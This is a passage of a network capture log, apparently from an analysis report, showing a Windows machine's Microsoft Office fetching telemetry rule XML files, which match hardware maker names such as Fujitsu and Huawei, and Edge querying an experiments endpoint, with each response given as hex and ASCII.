2024-11-17 11:35:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c32296f1-601e-003d-7597-376f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-164f84587bfdfkt7hC1DFW4fas000000026g000000008n15 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fxqj4khC1DFWpypw00000001qg0000000004mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113527Z-16547b76f7fljddfhC1DFWeqbs00000004zg00000000bmex x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49766	94.245.104.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:28 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:28 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 11:35:28 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=1126f8913d8e3f0ad6200b0ed68ff383e852f8c2c11952a490e484488dbfc120;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-16547b76f7f7zzl8hC1DFWmtag000000032g000000009084 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-16547b76f7fhv4d5hC1DFW7h0n00000002fg00000000dng6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-1866b5c5fbbkbjq9hC1DFWf1es000000038g000000000zsf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-164f84587bfmxxfphC1DFW3au800000002n0000000009y2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113529Z-164f84587bfsgfx9hC1DFWw1as000000041g000000009a0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-16547b76f7fhvzzthC1DFW557000000004bg000000004vkp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-164f84587bft9l9khC1DFW32rc00000004a0000000002hu9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49782	13.107.246.45	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113530Z-164f84587bf6n6jwhC1DFW90fn00000003eg0000000058mq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
